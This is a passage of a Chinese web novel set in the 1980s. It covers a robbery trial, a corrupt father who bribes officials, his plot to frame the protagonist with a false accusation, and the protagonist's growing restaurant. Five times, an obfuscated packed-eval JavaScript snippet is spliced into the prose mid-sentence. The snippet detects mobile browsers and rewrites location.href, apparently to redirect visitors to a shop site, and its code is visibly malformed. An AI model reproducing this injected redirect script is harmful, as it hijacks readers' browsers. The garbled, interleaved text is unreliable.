正在一边跟宁万征说话的侯正**然一个踉跄,大踏步走到董莹跟前,抬手就给了一个大嘴巴子:“把你那黑窟窿给老子堵上,堵死,现在就翘尾巴,你是想我死还是你儿子死?”
董莹委屈巴巴地瞪着侯正东,结婚二十多年了,他从来没有对自己高声说过话。
“你……”
董莹想发飙却又不敢,因为是真的怕。
就在这时,一辆上海轿车在路边停下,司机开了后座的车门,一个气场很足的中年人从左侧下车,同一时间,一个头发花白的高大身形从另外一侧下来。
两个人对视一眼,然后就各自四下里打量。
临县**位处正街,人流量颇大,他们看了一会人流后,就把目光集中在**门楼的国徽上去了。
侯正东和宁万征一看这两个人,全都心头一紧,然后满脸堆笑,有些谄媚地迎上去。
“郭**,您怎么来了?”
异口同声,郭明义是临县一把手,据小道消息称,可能不久后就要调去安市任市二把手,这种人物值得他们使出浑身解数向上巴结。
郭明义看向两个下属,语气平淡:“没事,陪黎老过来听审一个案子。”
两个人把目光转向头发花白的老爷子。
侯正东谄媚道:“跟老爷子真是有缘呢,前些天才见过,这次又碰上了,您这身子骨看着不错呢!”
“哈哈哈……临县就这么个弹丸之地,有缘没缘的都能碰上,也算不得啥有缘,倒是你们这些人,都在岗位上呢,没事瞎跑啥?”
黎老爷子给了个不软不硬的钉子,他对不熟悉的**都是一副生人勿近的架势。
“呵呵,老爷子说的是,这不是家里碰上点糟心事吗,不得已这才来的**。”
侯正东尬笑着说道。
宁万征没见过黎老爷子,不过能跟一个前途无量的市级领导走得近,本身恐怕也不是一般人。
“郭**,这位老爷子怎么看着面熟呢?”
纯纯的瞎扯淡,不过面生和面熟所问的效果是一样的。
“宁万征,这是……黎老,退下来快十年了,是老**家,需要我们后背仰望的存在,对了你这是……?”
宁万征看了看侯正东:“一言难尽啊,咱们来着的目的恐怕都一样。”
郭明义看了看侯正东,侯胜利拦路**这种事不是
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067810|195174||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他的关注方向。
今天黎老爷子晨练经过他家门口,两个人正好碰上,老爷子说有个**他孙子的团伙今天受审,于是就跟过来看看。
“惭愧惭愧,都是我平时忙于工作,对犬子疏于教导,这才让孩子误入歧途,酿成大祸,不过他这也是被有心人蒙蔽所致……”
侯正东看郭明义看向自己,赶紧讪笑着解释,不过没等他说完,就见对方突然抬手做了个噤声的动作。
“有些人总喜欢把对子女的教育失败,归咎于工作繁忙,自己没时间这些借口,这不是摆明地推脱责任吗?
全国那么多在工作岗位奉献的人,子女都去违法乱纪了。
不要什么责任都推给工作,你没有那么高尚,也没有那么废寝忘食……
做错事就该受到惩罚,你不教自有国家律法替你教……”
侯正东眼角抽搐,他的话的确有帮儿子推卸责任之意,不过郭明义没给他说完的机会。
“郭**批评得对,是我这做父母的没教育好子女,以后……”
没等他说完,郭明义就给了他一个颇有些厌恶地白眼,转头往黎老爷子那边去了,同时又换上了一副和煦的面孔,切换的那叫一个自然。
“老爷子,让我猜猜看,那个大高个就是你的孙子吧,看着有几分像呢?”
“哈哈哈……大孙子过来,给你介绍个大人物。”
他们说话的时候,黎军假装系鞋带蹲下了,等到老爷子叫自己,这才起身走过来。
“爷,你咋也来了,看热闹不是你的爱好吧?”
黎老爷子心里怒骂:你个龟孙,不是你给爷打电话叫来的吗,在这装啥装。
“司机小师说你的案子今天审判,就过来瞧瞧热闹,严打还没过去,这些人就跳出来找死,当真是无法无天了!”
“爷,这位老哥哥是?”
黎军看着郭明义问道。
“你这混球,跟谁俩呢,硬生给你拉低了一辈。”
郭明义满脸春风地说骂道。
“这是临县一把手……郭**,你爷的忘年交,你叫老哥哥可打发不了。”
黎老爷子拍了拍孙子的肩膀。
“哦……失敬失敬,原来是父母官郭大人,草民这厢有礼了!”
黎军笑着打招呼,语气崇敬,这手得赶紧握一下。
这种身份一般小老百姓可见不上,跟县长握手,听着就很牛叉有木有。
第41章 勃然大怒
“哈哈哈……你这臭小子,黎老爷子就说你不着调呢,今日一见果然名不虚传呢!”
郭明义很热情,黎军就很蛋疼地看向老爷子。
“你是不想喝茅台,吃猪头肉了吗,我们二食堂刚开了卤肉窗口,那猪头肉卖得不知道有多火爆?”
侯正东呆若木鸡地看着黎军和老爷子这边,冷汗都下来了,心里也直突突!
他是做梦也没料到,黎军这个小王八蛋,居然跟黎老爷子有关系,而且看那样子就应该是血亲,因为两人的外貌特征明显接近。
这老爷子别看退休了,以前在位的时候,估计能量大得吓人,有道是瘦死的骆驼比马大。
这时他掐死侯胜利的心都有了,这么大背景的一个人,他居然说抢就给抢了,关键是你抢了别暴露也行啊,就没见过这么明目张胆的脑残玩意,简直就是往**坑爹。
艰难地吞咽了一口唾液,侯正东只觉得嗓子干涩,整个人脑瓜子嗡嗡的。
“老侯,这……”
宁万征这时也看出了点名堂,侯正东的儿子拦路**的黎军,居然背后还有这么一尊大神。
他也忍不住开始冒虚汗了,之前侯正东拉着他,司法系统上蹿下跳的使钞能力,一会开庭之后的审理……他心虚得不敢往下想了。
“那个老侯,这听审我就不去了,你自求多福吧!”
宁万征说完,不等侯正东做出反应就退出大门。
郭明义和黎老爷子在他身后五六步远,几个人正好对上。
“郭**、黎老,我突然想起来点事,就不进去听审了,都是些正常流程没啥听的。”
郭明义点头,没在意他的退场,局长位置事也挺多的,临时想起来什么事去处理很正常。
案件早就定性,拦路**,蓄意报复伤人,案件清晰明了,嫌犯对犯罪事实也供认不讳。
黎军等人坐在听审席旁听,他是头一次作为主角进这种场合,就觉得压抑和肃穆。
嫌犯被法警带上来后,黎军有些诧异,因为只有四个人,他也不懂审判流程,就有些茫然地看向同坐在听审席的其他人。
侯正东两口子正襟危坐,眼神碰上他时有些躲闪。
黎军纳闷凑向郭明义:“郭**,这是一起案子,嫌犯为啥不是一起受审?”
郭明义摇头:“具体流程我不太懂,找个人问一下吧!”
侯正东心里咯噔一下,慌得一批。他只是使足了钞能力,具体那些人怎么操作却不清楚。
法警离开没一会,一个司法人员走过来,在郭明义身边坐下来压低声音讲解。
“郭**,六个嫌犯中,除去侯正东和党朝阳是初犯之外,另外四个人还有其他问题。
他们在过去两年内,曾参与了多起**妇女、**、打架斗殴案件,所以才会分开另案审理。
您放心,**,疏而不漏,每个嫌犯罪责都会得到公正的认定和处罚。”
黎军心里暗自揣摩,侯胜利一看就是这些人的头头,怎么可能只参与了这一起案件。
他再次把目光移向侯正东,就看见他双手紧握成拳,显然心里有些不安。
这要是没鬼才是见了鬼呢!
朱东升、张力等人站在被告席上,满脸懊悔地听着法官对自己所犯罪行的一一罗列……
心里头有悔恨也有自责,有埋怨也有悲哀,人生没有后悔药,做错事就要受到惩罚。
几个人都在沉思,自己是怎么一步一步走上犯罪道路的。
所有人同时想起一个人……侯胜利。
他们曾是一个学校的不良学生,侯胜利财大气粗,出手阔绰,用自己的钞能力将他们笼络到一起。
从第一次挡住同学霸凌开始,第一次拦截女同学、第一次**供销社财物、第一次打架斗殴,**妇女……似乎就是侯胜利在一步步指导,将他们彻底带上这条不归路的……
最终四个人数罪并罚,最严重的朱东升被判了十八年,剥夺**权利十年。
最轻的张力也被判十二年,剥夺**权利五年的处罚。
大好人生,从这一刻进入赎罪的环节,他们将在最艰苦的大青沟第一监狱完成对自己所犯罪行的救赎。
黎军有些意外,没想到这些人会判得这么重,十多年牢狱之灾,毁掉的不仅是个人,同时也有他们的家庭。
这些人都是二
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067811|195174||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
十多岁的年纪,十几年过去,人生最美好的时光就葬送了。
朱东升等人在宣判的最后一刻直接就蔫了,尤其是朱东升,当场就瘫软了,法警架着他的胳膊才把他带走。
侯胜利和党朝阳在他们之后被审判,两个人因为初犯,投案自首,举报线索以及得到受害者讲解书被从轻发落。
侯胜利最终被判五年**,剥夺**权利两年,党朝阳被判三年**,剥夺**权利一年的处罚,关押在安市某监狱砖瓦厂**。
宣判一出,侯胜利看着老子老娘直接哭了,让他们想办法救自己。
侯正东心里松了口气,五年**对儿子所犯的罪行不算重,在安市的话还有补救的可能,弄个保外就医啥的难度不大,就是看着儿子哭哭啼啼他有些烦,觉得这货不像个爷们。
“混账,真是混账,一群徇私舞弊的混账东西。”
刚宣判完毕,听审席有人暴怒出声了。
所有公诉人员看向听审席,只见一个银发老者勃然大怒,指着审判长等人手指颤抖。
“拦路**分明就是侯胜利主导的,他算是主谋,为什么罗列罪行时只字未提,其中肯定有鬼。”
黎军见老爷子起身大怒,也适时站起来发声。
侯正东直接尿了。
他今天一看见黎老爷子和郭明义出现,就知道这事恐怕要出变故。
党卫国牙疼地接着说道:“当事人对一审不满,可以在判决书下达后,于十日内提出抗诉上诉……”
黎军看了一眼老爷子和郭明义,然后又看了看侯正东。
对于两波人的宣判,可以说都超出他的预料了,朱东升等人判的极重,侯胜利又判得太轻,傻子都能看出来,量刑存在极大的不公。
“司法公正不容亵渎,你不满意判决可以提出上诉,要求他们重新公正审理此案,必要时我也可以出面过问一下,保证终审的公正。”
郭明义低声道,他的身份摆在那里,也不怕终审再出猫腻。
“真是乌烟瘴气,不堪入目,必须上诉,重新审理。”
老爷子怒气冲冲,背着手起身离席,黎军和郭明义赶紧追上去。
第42章 宾至如归二食堂
一审的情况瞎子都能看出猫腻,不过黎军看中的是利益,能要挟侯正东再出点血的话,这事也不是不能放下。
侯正东脸上滴水地走出**,看着黎军等人的背影沉思。
董莹脸上写着焦急:“正东,现在咋办,那老头子是谁,好像郭**对他挺尊重的?”
“应该是某个退下来的大人物,咱家胜利这**玩意,居然捡了个有背景的祸祸,这不是找死吗?”
“不管他有没有背景,你说这话就有问题,胜利都是给你们两口子给惯的。”
宁万征打断了侯正东的话。
“老宁,你没走啊?”
宁万征有点尴尬:“之前我离开也是迫不得已,郭**要是知道我跟你上下打点,恐怕我也有麻烦。”
侯正东点头,表示理解,当时那种情况,宁万征留下来只能是多个人尴尬而已。
“怎么判的?”
宁万征问道。
“五年……那小杂种当场就提出上诉了,还有黎老头,在法庭上直接咆哮如雷,大骂乌烟瘴气。”
侯正东大概说了一下法庭上的事情。
宁万征沉思良久,最终叹了口气道:“这事还得用钱砸,是个人就没有不贪财的,只要他不提出上诉,维持原判就行。”
侯正东两口子面面相觑,这事已经花五万多块,**都绰绰有余了。
黎军在路边开自行车锁,上海轿车在身边停下。
老爷子从车窗探出脑袋:“孙子,你不打算请我跟小郭吃顿饭吗?”
黎军直起腰笑道:“走起,你怕是还没见识过我们二食堂升级后的样子呢!”
黎老爷子看向郭明义:“我大孙子在二食堂做厨师长,去捧个场吧!”
“老爷子邀请,岂能拒绝。”
回到饭店,大厅里已经坐了十几桌客人,服务员穿梭,食客人头攒动,人声鼎沸一派忙碌景象。
“黎大哥回来了。”
伍一凡在门口迎客,看见黎军回来,笑眯眯地问道。
“你是专门迎接我的吗,是不是觉得我很亮眼?”
黎军拿她打趣。
“我是门迎,这是我的工作,你要说专门迎接你的也不是不可以。”
伍一凡依旧笑眯眯。
“哼……马屁精,刚来就知道献殷勤。”
一道略有些尖酸的声音响起,黎军皱眉看过去,只见李莉莎正在给门口的客人点菜,刚才的话就是她说的。
伍一凡面露尴尬,她是新来的,跟老员工还没混熟,被这么怼不知该怎么应对。
“哎吆,顾客至上,宾至如归,这二食堂重新装修了啊?”
没等黎军做出反应,身后老爷子的声音响起。两个人看着大门上用红色油漆写的八个大字说话。
“一凡,去迎接一下老爷子,这是非常重要的客人,直接带去雅1包间,他们的消费也算我的。”
二食堂升级直接装修了两个包间,跟一食堂用屏风隔开的完全是两回事,私密性更好,环境更加优雅。
伍一凡笑着出门迎客去了,老爷子和郭明义被热情迎接。
“欢迎光临,第二饭店全体员工为您热忱服务,愿您有一个满意舒心的就餐体验。”
伍一凡微笑着打招呼,让两个人都有种如沐春风的感觉。
这是黎军专门针对服务员培训的结果,微笑服务是餐饮行业的核心竞争力。
简单的一句温情问候,直接跟当时生硬冷倔的大环境拉大距离。
郭明义看向黎老爷子:“嗯……这服务有点意思,给人一种客至如归的感觉。”
黎老爷子点头:“非常不错,装修后环境提升了不少,就是不知道菜品升级没,以前做的菜可不咋滴!”
“老爷爷放心,我们厨师长的菜做得可好了,吃过的人没有不说好的,饭店开业半个来月,来的都是回头客呢!”
李莉莎突然间冒出来插话道,她是往后厨送菜单的,正好碰上老爷子问话,就抢答了。
伍一凡笑着介绍:“我们厨师长说了,二食堂的理念顾客就是上帝,宁叫一人来千次,不叫千人来一次,我们挣的都是回头客的钱。”
“呦呵……你们厨师长是个人才啊,要是菜做得好,二食堂一定可以火起来!”
郭明义笑道,他经常在国营饭店吃饭,知道三个食堂的底细。
黎老爷子看向橱窗里,只见里边酱红油亮的大猪头,大猪蹄子,道口烧鸡等卤肉非常诱人。
“嗯,不错不错,看着就挺香的,一会先给我来一盘猪拱嘴下酒。”
这时刘小福也注意到伍一凡带进
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067812|195174||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
来的两个客人,当时眼珠子都要飞了。
作为国营食堂的经理,临县一把手他自然认识,以往人家可不会来二食堂吃饭的,有道是没有梧桐树,招不来**。
“郭……”
他迎上去刚要开口,就被郭明义做了个噤声的动作。
“刘经理,黎大哥说带去雅1包间!”
“嗯,你不管了,交给我吧!”
刘小福带着两个人去包间时,却被郭明义阻止。
“我跟老爷子两个人,就大厅里吧,随便找个角落就行了!”
刘小福愣了一瞬,然后就笑着带两个人去吧台不远处的小桌子。
两个人就座,服务员端着茶水过来招呼。
然后小盘花生米和泡菜也端了上来。
郭明义看着小凉菜问道:“同志,我们没点菜啊?”
“您好贵客,两个小凉菜是饭店免费送的。”
郭明义看了老爷子一眼:“这思路很妙啊,你这大孙子有想法,是个人才。”
当时的国营饭店,主打一个服务态度差,那家也不会给客人免费送小菜。
同一时间,侯正东饭也没顾上吃就来了国营机械厂。
五车间门外,华龙华虎被叫出来。
“侯叔,你咋来了,有事吗?”
华家的大恩人到来,这哥俩都要惊慌失措了,国营机械厂对他们来说,就跟天堂一样,食堂天天有肉吃这项,就像是点了他们的死穴一样。
侯正东没啥好脸色,要不是华妮娜这个丧门星,他儿子何至于进了监狱。
“你们马上回去一下,把你爸和你姐带上来,我有事要跟他们说下。”
“好的华叔,我们这就回去。”
“对了叔,你有啥事吗,我们哥俩也可以帮忙的。”
跟这哥俩说话,侯正东都觉得掉价。
“让你去你就去,废话什么东西,直接带到我家就行了,我有要紧事跟他们商量。”
一个小时后,侯正东家,华老三跟闺女华妮娜正襟危坐,有些局促地看着脸色阴沉的亲家。
“亲家,为这事我已经花了五六万了,现在一审那小杂种抗诉了,终审的话我估计也挺悬,你家把我可坑惨了。”
侯正东阴沉的语气让华家父女一阵心寒,就觉得这家伙要翻脸了。
第43章 卑鄙无下限
华老三脸上挂着讪笑:“亲家,这事它也不是我指使的啊,那天胜利和朋友在家里吃饭喝酒,我都没上桌。”
“不是你家人说,胜利怎么知道你们两家有那么一档子事儿,祸从口出不知道吗?”
侯正东愤怒咆哮,唾沫星子喷了华老三一脸。
华妮娜是后悔**,侯胜利说要给她出气的时候,她心里还幸福了一阵,就觉得这男人有担当。
结果万万没想到,简单的打击报复居然演变成了拦路**。
这让她找谁说理去,侯家那么有钱,怎么就看上黎军兜里的那点**票了。
“亲家,你叫我们爷俩上来,就是为发牢骚吗,现在看有什么补救措施才是正理。”
华老三也不傻,侯正东把自己叫上来,肯定是有什么事情。
侯正东强压下火气,看了华妮娜一眼,然后拉着华老三的手进了卧室。
“现在有两个办法,一个是我继续砸钱,让那个杂碎撤销上诉,但是这么做他不一定买账,我也不想再砸钱了。
另一个就是……”
侯正东拉了一下华老三,示意他附耳过去,一阵耳语之后,华老三整个人都不好了。
“亲家,这么弄不行吧,妮娜名声可就毁了,她还怎么嫁……过来。”
华老三本来想说怎么嫁人的,但是话到嘴边又咽了回去,他闺女跟侯胜利还有婚约呢!
都是千年的狐狸,侯正东自然听出他下边的话了,一张驴脸瞬间就拉到了脚面。
“还想嫁给谁,你这是铁了心的打算悔婚了吗,别忘了你两个儿子的工作,还有我花的五六万块钱,悔婚的话,你拿得出来这么多钱吗?”
侯正东阴恻恻的话让华老三如坠冰窟。
别说五六万了,他连一千块都拿不出来,上次说彩礼让侯家看着出的,结果人家就给了五百块。
当然了,五百块在当时的彩礼行情不算少,但是跟他预期的就差了太远。
“可是我闺女的名声就彻底毁了啊,胜利出来以后,要是不要她,她一辈子都别想再嫁人了。”
侯正东所说的另一个办法有些阴损,试图让华妮娜想办法接近黎军,最好是能上床那种,到时候告他耍流氓,这样子一来,黎军官司缠身就没法子再上诉了。
八十年代严打之后,流氓罪被明确列为最高可判处**的罪名,与故意**罪并列。
其定义采用“宜粗不宜细”的立法原则,涵盖聚众斗殴、寻衅滋事、破坏公共秩序、侮辱妇女等行为。
那时候黎军都自顾不暇了,哪还有心思上诉。
而判决书在规定时限内没有上诉就会自动生效,那时候就没法再上诉了,这是为了维护司法效率和裁判的稳定性。
侯正东冷哼:“哼,我儿子不是那种忘恩负义的人,否则也不会为你家强出头,惹下弥天大祸。”
华老三嘴唇嗫嚅:“可是没啥机会啊,黎军不会傻到跟妮娜单独相处的。”
“办法是人想出来的,从县城回你们村,不是有那么多窝棚吗,想想办法,活人总不能让尿憋死。”
当时田地里的确有不少闲置的窝棚,都是生产队大锅饭时期给民兵值班用的。
华老三都要憋闷岔气了,他虽然唯利是图,但是说害人的心是绝对没有的。
侯正东所说的无中生有、栽赃陷害他自觉做不出来。
“此事一旦坐实,黎军就得进去,到时候我再花点钱,胜利直接弄个保外就医啥的,两个孩子就可以安安稳稳过日子了……”
侯正东循循善诱,华老三无语凝噎,两亲家密谋了一个多小时才从卧室出来。
接下来是华老三动员自家闺女,一番下作无底线的说辞后,华妮娜都惊呆了。
好嘛,这主意简直是老太太靠墙喝稀粥,背壁无齿下流。
“爸……你怎么能让我做这种事,以后我还怎么见人,不要脸了吗,再说我都跟黎军分了,凭什么还要害人家?”
华老三像是生嚼了黄连,苦到了心里。
“闺女,爸也是没法子了啊,不这么弄,黎军那杂碎就要上诉,到时候胜利被重判,没个二十年估计都够呛出来,你可咋办,守活寡吗,退婚的话,侯家花出去的钱都要咱们还,你爸是个笨汉,一辈子也没见过一万块,更别说五六万了……”
华妮娜听着老爸的苦口婆心,脑海里仿佛出现了一个无尽深渊,正在将她一步步吞噬。
目送华老三父女离开,侯正东脸色阴沉回家,关上门后,他开始在床底下一阵翻腾,最后找出一个老式梳妆盒子。
打开盖子后,从里边拿出一个油纸包着的东西。
这玩意是他特殊年代偶然获得,因为当兵的经历,对这把****格外喜爱,就保留了下来。
禁枪令之前,国内民间**不少,侯正东这种身份,搞到一支并不稀奇。
“哎呀,正东,你拿它干什么,可不敢做啥蠢事啊!”
董莹看到侯正东手里的家伙式,吓得都哆嗦了。
“放心吧,就是看看,我还没那么蠢,为了儿子牺牲自己。”
侯正东的话董莹连一个标点符号都不信,他对儿子的溺爱只有她清楚,要不是老子的无底线宠溺,也许侯胜利根本不会走上犯罪道路。
“千万别乱来,哪怕用钱砸,也别干傻事。”
“我知道”
侯正东对董莹的啰嗦有些烦,几十年了,他哪里受过这种窝心事情,被一个毛头小子要挟,想想都不能忍。特殊年代里,他也不是没弄死过人。
一个大胆的想法在脑海
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067813|195174||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
里生根发芽,智慧的高地正在沦陷。
有时候这人钻了牛角尖,就会做出一些极端的事情。
黎老爷子跟郭明义两个人在二食堂点了个九转大肠、回锅肉和一盘卤猪头肉,就着饭店送的两个小凉菜喝了一瓶茅台酒。
当然了,酒是黎军孝敬老爷子的,凭空得了一笔巨款,不善待下老一辈**家都对不住自己的良心。
“女子,把我大孙子给我叫过来。”
看大厅里食客不多了,黎老爷子叫过来一个服务员道。
李莉莎听得有点懵:“老爷子,您大孙子是哪个,在我们店里吗?”
“他说是你们二食堂的厨师长。”
刘小福听到这,赶紧屁颠地跑过来:“这是黎师傅的爷爷,赶紧去叫。”
黎军一边解围裙一边往前厅去:“我爷他们吃完了?”
李莉莎将茶杯递给黎军:“嗯嗯,两个人喝了一瓶酒呢,不会有事吧?”
黎军没有再搭话,李莉莎对他有些过于热情,也就是没有边界感,这是恋人才有的行为。
不得不说,从伍一凡出现后,黎大少内心已经悄悄地转移目标了。
重来一世,他要好好地满足一下自己,尤其是爱人这方面,必须要跟着感觉走才能情绪满满。
“你慢点喝,我去给你续水。”
黎军接过茶杯猛灌了几大口,李莉莎赶紧接过去续水。
“大孙子过来”
老爷子看见大孙子走过来,冲他招手道。
“爷……郭叔,吃得咋样?”
黎军走过去在老爷子跟前坐下来。
“九转大肠做得很地道,猪拱嘴、回锅肉也很美味,二食堂得你真是有幸,看现在这样子生意挺不错的。”
郭明义很中肯地评价。
“现在压力挺大啊,之前徐总说了,这个月生意没有改观的话,估计二食堂就得黄了。”
郭明义扫视大厅:“看着挺不错呢,你做的工作不少,好好干,估计有戏。”
黎军指了指二楼:“下一步我们打算把二楼都做成包间,私密性这块也能吸引不少食客。”
几个人就二食堂的情况闲扯了几句,黎老爷子就转移话题了。
“大孙子,被**那事你打算咋办?”
郭明义也看向黎军,他也想知道这个年轻人是如何打算的。
黎军刚才炒菜的时候仔细想了想,说实在的,几个人的量刑他觉得有些重,侯胜利判五年倒是差不多。
最后他要是不故意把钱露出来使坏,这些人充其量就是打架斗殴了。
而且事后侯正东诚意满满,算是大出血了,三万块在当时的购买力堪比后世的五百万甚至更多。
所以他并不想再上诉,得饶人处且饶人嘛,没必要犯点错就把人往死里整。
第44章 得饶人处且饶人
“怎么说呢,侯正东花了大价钱买我谅解,要真的让他儿子把牢底坐穿显得咱做事不地道。
如果他意识到问题的严重性,跟我再谈谈的话,也不是不可以放他一马,你说呢爷?”
黎老爷子瞅着大孙子一脸坏笑,心里岂能不明白这货在想什么:“你这臭小子想啥呢,还想再讹他点吗,做人要知足,也别一条道走到黑,老话说得好,得饶人处且饶人。”
“那你还在法庭上大发雷霆,没看那些法务人员脸都黑了,侯正东脸色像是便秘了一样。”
黎军边说边拿起酒瓶摇了摇。
“老爷子那是敲边鼓呢,有他那么几句话撂在那,有些事就还有操作余地,你要是想上诉也就多了些依仗。”
郭明义插话道。
“呵呵,老头子也是扯虎皮拉大旗呢,人家看的是你的面子,我不过是个下来的小老百姓而已。”
郭明义苦笑:“行政和司法虽然相互监督和相互支持,但却不是隶属关系,人家需要卖我面子吗,司法公正是维护社会公平正义的最后一道防线,不该掺杂太多的人情世故,法外有情就会正义缺失……”
黎军从郭明义的话语中听出,他对一审中存在的不公有些不满,却也不是多重视,不过是站在正义的一方发点牢骚而已。
“大孙子,这顿你请啊,我跟小郭是因为你才耽搁的午饭呢!”
老爷子起身,准备离开了。
“我的亲爷,您一天啥也不干都比我工资高,就没必要这么斤斤计较了吧,我可是您的亲孙子,还是长孙呢!”
老爷子转身往外走,根本不接话茬:“你啥时候搬去我那住,我缺个倒尿盆的小子。”
“过几天吧,今年没上冻,我姐这几天准备盖房子,我得过去看看。”
老爷子和郭明义离开后,李莉莎过来收拾桌子,看着把茅台酒瓶子放到鼻子下闻的黎军笑道。
“军哥,咱爷是干嘛的,听你说他工资比你还高?”
黎军翻了个白眼:“那是我爷,你以后改名叫包打听呗,啥都打听。”
李莉莎碰了个软钉子,气鼓鼓道:“讨厌鬼,说话能顶**。”
员工餐开饭时,临街橱窗走过来一个围着帕子的妇人,指着猪头肉问话。
“同志,猪头肉咋卖的?”
“一块五一斤,大姐您要多少?”
值班的伍一凡礼貌问道。
黎军听声音赶紧放下碗起身,往橱窗口跑过去。
“姐,你怎么来了?”
妇人是黎秀。
“大弟,这就是你上班的二食堂啊?我还没来过呢!”
“姐,你吃饭了没,进来吃点饭?”
“不用不用,农闲时两顿饭,我十点多才吃的早饭,你姐夫说明天动工,让我来买点猪头肉,给亲戚朋友加菜。”
这时李莉莎也跑过来,故意挤开伍一凡道:“一凡,去吃饭吧,我吃完了过来换你。”
饭店是服务行业,吃饭时必须留一个人值班招呼客人。
“谢谢李姐,黎哥,那我去吃饭了。”
李莉莎对黎军的心思在二食堂已经成了秃子头上的虱子,伍一凡冰雪聪明岂能看不出来。
“姐,你买猪头肉啊,需要多少,我来帮你称。”
李莉莎很是自来熟地打招呼。
黎秀看了看黎军,她是过来人,似乎明白了些什么。
黎军撇了撇嘴没搭理她,转而对黎秀道:“都要动工了也不说提前过来说一下,娘家人可是你的底气。”
黎秀抬手怼了这货额头一杵子:“我早上去家里了,你不在家怪谁,你请得了假吗?”
“嘿嘿……还真的请不下,新来的厨子还拿不动活呢,我可以晚上去,有啥活给我留点,别太多啊,忙活一天整不动的。”
那年头农村盖房子,都是亲戚邻里搭手帮忙,也不用付钱,管饭就行。这时就是娘家人给露脸的时候,黎家两个壮劳力自然不能缺席。
黎秀假装嗔怒:“你个臭小子,就知道偷懒,盖房子正是你给我争面子的时候,断不能少了你。”
说罢指着猪头肉说道:“在火车站听说二食堂也卖卤肉,比熟食店还好,我就找过来了。
给我称五斤猪头肉,再给你姐夫拿两个大猪蹄子,他喜欢啃那个。”
黎军无语地看着姐姐:“你原谅张威了,忘了他怎么打你的,还给他买猪蹄子,你给爸妈买过没?”
这话让黎秀脸色尴尬:“……爸妈……我……以后我会好好孝敬他们的。”
姐弟俩说
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067814|195174||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
话的时候,李莉莎眼睛明亮地在一旁吃瓜,在她想来,这可是未来婆家的八卦,提前了解下没坏处。
“你看啥热闹呢,还不赶紧称肉。”
黎军没好气在李莉莎面前晃了晃手掌,打断他的吃瓜兴趣。
“哦……哦,我这就给咱姐称肉,保证称得高高的。”
黎军掏出十块钱丢在钱盒子里:“剩下的钱给称点连心肉,姐,我先回去忙了,等晚上我去你家,看看有啥可以帮忙的。”
黎秀忙不迭点头,黎军刚才几句话把她整得有点下不来台,这些年她还真的没给父母买过像样的东西,都是带点黑糖白糖,自家地里的菜蔬,想想心里挺不是滋味的。
下午五点多,黎军正在后厨教几个师父锅气的掌握细节,在门口迎宾的伍一凡跑进后厨叫他。
“黎大哥,门口来了个漂亮姑娘找你。”
黎军纳闷:“哥哥没有这么抢手吧,又来漂亮女人找,她叫啥啊?”
伍一凡浅笑:“人家没说,一副委屈巴巴的样子,你不会是欺负人家了吧?”
小姑娘眼睛大大的,一脸好奇。
出了大门,黎军就看见一身墨绿色运动服的华妮娜站在马路牙子上。
他左右看了看,街道上行人不少,就走过去在她五米处站定。
心中也是疑惑满满:她怎么来了,难道是侯正东要她过来说情的,这脸是真的大啊!
“咱俩都分了,两家人还打起来了,你还来找**嘛?”
华妮娜压下不自然的表情:“分了还不能做朋友了,我就是嫁人,你不也是娘家门口的人,都是一村一院几十年的邻居,至于闹得这么僵吗?”
黎军点头:“说的也是,你找我要是打算说这些,那我知道了,你可以走了。”
